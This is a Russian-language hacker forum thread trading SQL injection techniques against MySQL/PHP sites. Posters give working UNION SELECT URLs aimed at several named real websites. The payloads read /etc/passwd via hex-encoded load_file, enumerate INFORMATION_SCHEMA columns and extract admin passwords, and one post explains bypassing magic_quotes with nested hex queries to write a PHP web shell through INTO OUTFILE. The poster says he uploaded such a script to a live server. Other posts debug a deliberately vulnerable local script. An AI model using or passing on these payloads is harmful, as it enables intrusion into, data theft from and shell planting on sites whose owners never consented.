AES_DECRYPT(AES_ENCRYPT('строка','bla'),'bla') |
Цитата:
|
Цитата:
|
К тому, что предложеный вариант проверки наличия иньекции, не даёт однозначной уверенности в том, что иньекция есть.
Хотя заявлено: Цитата:
|
Это просто один из вариантов, во многих случаях все гораздо сложнее для определения, имхо кроме того что читать статьи и мануалы, надо хотябы немного головой думать.
хотя для чего в предложенном примере ; если описанное относится к связке mysql+php мне не дано понять, I-I()/Ib, или исправь или объясни |
Как вам сказать. Каждый что либо делает как ему лично удобнее/приятнее/привычнее. Когда я учил пых и мускул я делал запросы так. Может быть это покажется кому то смешно но только из-за этого в статье указанны ";" после каждого запроса, я не отрицаю их ненужность, НО ЭТО МОЕ ЛИЧНОЕ. Скажем так вам вместо того чтобы цеплятся к мелочам было бы неполохо занятся чем то более полезным. Объяснил?
Кстати люди еще хочу обратить внимание на то что вместо громозкой конструкции Код:
AES_DECRYPT(AES_ENCRYPT('строка','bla'),'bla')Код:
UNHEX(HEX('строка')) |
I-I()/Ib
Думаю Scipio имел ввиду ,что такая конструкция как у тебя в пункте 1.4 работать не будет вот пример уязвимого параметра посмотри сам: Найдено Fuckel _http://www.specialradio.ru/mkz/?id=1 вот так : _http://www.specialradio.ru/mkz/?id=1;-- Ничего не добиться Т.е разделять что-то ; в примере Mysql не катит |
Цитата:
Цитата:
Цитата:
|
Небольшая фича (ну или не фича):
вот есть пример скули: Код:
http://www.thefump.com/lyrics.php?id=-99999+union+select+1,load_file(0x2f6574632f706173737764),3,4,USER(),6,7,8,9,10,VERSION(),12,13/*смысл в том, что пользователь рут и как видно file_priv есть, но казалось бы шелл через into outfile залить нельзя, так как экранируются кавычки, на самом деле шелл здесь (и в подобных скулях) через into outfile залить не сложно. К теории, есть например такой скрипт: PHP код:
обратившись к скрипту: Код:
http://localhost/erase.php?id=-2+union+select+1,2,3/*Цитата:
Код:
http://localhost/erase.php?id=-2+union+select+0x27,2,3/*Цитата:
Сделаем "внутренний" инъект-запрос: Код:
-2 union select '999',111/*Код:
http://localhost/erase.php?id=-2+union+select+0x2D3220756E696F6E2073656C6563742027393939272C3131312F2A,2,3/*Код:
2:3а если "внутренний" запрос будет: Код:
-2 union select '<?php include "shell.php"; ?>,111 into outfile '/bla/bla/bla.php'/*PHP код:
обратимся к первой скуле, если мы в третье поле подставим: Код:
-1 union select 'magic_qotes is sux'/*Код:
http://www.thefump.com/lyrics.php?id=-99999+union+select+1,2,0x2D3120756E696F6E2073656C65637420276D616769635F716F74657320697320737578272F2A,4,5,6,7,8,9,10,11,12,13/*а могли бы составить и более опасный запрос с присутствием into outfile 'blabla' и он тоже бы выполнился зы скрипт я туда конечно залил, но вот только на серваке отключены системные комманды и отключен Url file-access(( |
Scipio
Смотрел скули, чтоб разобраться как это работает, и вот заинтересовала такая вещь, здесь это прокатывает во вторм поле: http://www.tamizdat.org/article.php?id=99999+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13+from+mysql.user/* а здесь в нескольких полях: http://www.saworship.com/article-page.php?ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39/* Почему так? |
Цитата:
почему так? ну я привел пример гда объясняется вся поднаготная почему так, дерзай! |
Цитата:
|
Цитата:
|
Цитата:
Делаю такой запрос к первому скрипту Ж http://localhost/sait/tmp/sql.php?id=1' ----------- Проверте скрипт и такой запрос у себя на локалхосте , мож я что нетак делаю ..... |
Зароботало , нужно заменить
$zapros="SELECT * FROM news WHERE id='".$_GET['id']."';";//Уязвимый запрос на $zapros="SELECT * FROM news WHERE id=".$_GET['id'].";";//Уязвимый запрос |
что в этом запросе неверно ???
http://localhost/sait/tmp/sql.php?id=-1+UNION+SELECT+password+FROM+users+WHERE+login=Adm in/* результат : Unknown column 'admin' in 'where clause' Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\sait\tmp\sql.php on line 24 |
Цитата:
|
http://localhost/sait/tmp/sql.php?id=-1+UNION+SELECT+password+FROM+users+WHERE+'login=Ad min'/*
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'login=Admin\'/*' at line 1 Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\sait\tmp\sql.php on line 24 ------------ Поставил кавычки .......... что теперь нетак ? |
1. не выводится потому, что после юнион у селекта должно быть столько же параметров сколько и до него, на сколько помню
2. судя по всему ты используешь денвер и magic_quotes у тебя отключены поумолчанию... кодируй Admin в hex Код:
?id=-1+UNION+SELECT+1,2,3,4,password+FROM+users+WHERE+login=0x41646d696e |
Омг, http://hack-shop.org.ru/tools-code-encode
|
Статья неплохая, только вот :
Цитата:
|
Цитата:
636861757365727300 и дописываешь перед хексом 0x, потом вставляешь и вот как должно все выглядеть. Кто будет пользоватся этим декодером, удаляйте 2 лишних нуля в конце, 636861757365727300 вот они. Код:
http://www.oke.ru/xo4u.php?id=-42708+UNION+select+1,2,COLUMN_NAME,4,5,6,7,8,9,10+%20FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x6368617573657273+LIMIT+0,1/*http://www.oke.ru/xo4u.php?id=-42717 |
Лайт, не выходит всеравно :\
|
Цитата:
ЗЫ Сам этот сервис весьма странный, я не смог там найти ни админки, ни полей логинн/пасс... |
| Время: 18:04 |